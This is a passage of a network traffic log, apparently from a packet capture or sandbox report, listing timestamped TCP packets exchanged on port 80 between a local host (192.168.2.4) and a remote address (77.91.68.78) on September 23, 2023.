Sep 23, 2023 17:53:30.096905947 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096944094 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096982002 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096992016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097028017 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097100019 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097115993 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097134113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097151995 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097187042 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097223997 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097290039 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097326040 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097459078 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097495079 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097515106 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097549915 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097631931 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097670078 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097695112 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097728968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097769022 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097806931 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097831964 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097867012 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097871065 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097906113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097932100 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097960949 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.097970009 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.097996950 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098077059 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098114014 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098139048 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098174095 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098200083 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098236084 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098259926 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098297119 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098297119 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098332882 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098372936 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098407030 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098432064 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098467112 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098526001 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098557949 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098604918 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098639965 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098659992 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098690033 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098694086 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098725080 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098763943 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098803043 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098866940 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098901987 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098913908 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.098953009 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.098978043 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099014044 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099016905 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099052906 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099126101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099160910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099186897 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099222898 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099231958 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099261999 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099266052 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099296093 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099370956 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099406004 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099433899 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099472046 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099592924 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099622011 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099631071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099659920 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099670887 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099708080 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099733114 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099771023 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099796057 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099833965 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099883080 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099919081 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099922895 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.099960089 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.099984884 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100020885 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100188971 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100228071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100234032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100270033 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100605965 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100646019 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100692034 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100732088 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100738049 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100774050 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100795031 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100833893 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100851059 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100888968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100910902 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.100951910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.100976944 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.101016045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.101041079 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.101058006 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.101078987 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.101090908 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.127466917 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412229061 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412506104 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412594080 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412611961 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412628889 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412635088 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412645102 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412659883 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412671089 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412676096 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412692070 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412693024 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412699938 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412740946 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412761927 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412761927 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412786007 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412826061 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412832022 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412847996 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412870884 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412883997 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.412918091 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412949085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.412950993 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413024902 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413033009 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413074970 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413091898 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413130045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413172007 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413211107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413301945 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413319111 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413341045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413353920 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413381100 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413419962 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413430929 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413469076 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413491011 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413527966 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413606882 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413645983 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413669109 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413702965 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413741112 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413778067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413790941 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413820982 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413825989 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413858891 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413897038 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413945913 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.413947105 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.413983107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414021015 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414057970 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414072037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414108038 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414124966 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414161921 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414171934 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414213896 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414225101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414279938 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414297104 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414315939 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414335012 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414354086 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414390087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414414883 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414453030 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414478064 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414494038 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414516926 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414530039 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414697886 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414735079 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414787054 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414803028 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414827108 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414850950 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414885044 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414927006 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414937019 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414967060 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.414973974 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.414997101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415004969 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415038109 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415061951 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415102005 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415127993 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415159941 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415167093 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415198088 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415204048 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415244102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415254116 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415291071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415311098 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415342093 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415380001 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.415388107 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.415425062 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446175098 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446208954 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446227074 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446244001 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446259975 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446260929 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446278095 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446295023 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446351051 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446433067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446433067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446433067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446433067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446433067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446433067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446434021 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446441889 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446459055 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446482897 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446501970 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446547985 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446588039 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446661949 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446700096 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446747065 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446784973 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446825981 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446867943 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446894884 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446916103 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.446940899 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446959019 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.446997881 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447036028 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447061062 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447097063 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447138071 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447158098 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447185040 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447204113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447211981 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447248936 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447257996 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447299957 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447320938 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447355032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447360039 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447396040 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447422028 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447459936 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447499990 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447565079 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447602034 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447628021 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447664022 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447689056 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447725058 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447765112 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447804928 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447825909 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447861910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447901964 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447947979 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.447959900 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.447999001 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448024988 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448069096 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448085070 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448117018 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448131084 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448156118 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448163986 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448195934 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448203087 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448244095 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448270082 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448311090 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448350906 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448390007 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448400021 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448441982 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448462009 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448503971 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448513031 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448539972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448544979 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448580980 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448621035 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448637962 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448662996 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448674917 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448685884 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448713064 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448740959 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448757887 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448781967 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448800087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448853970 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448894024 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.448934078 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448976994 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.448976994 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449018955 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449044943 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449085951 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449126005 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449167967 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449208021 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449224949 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449245930 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449263096 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449271917 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449314117 CEST	49816	80	192.168.2.4	77.91.68.78
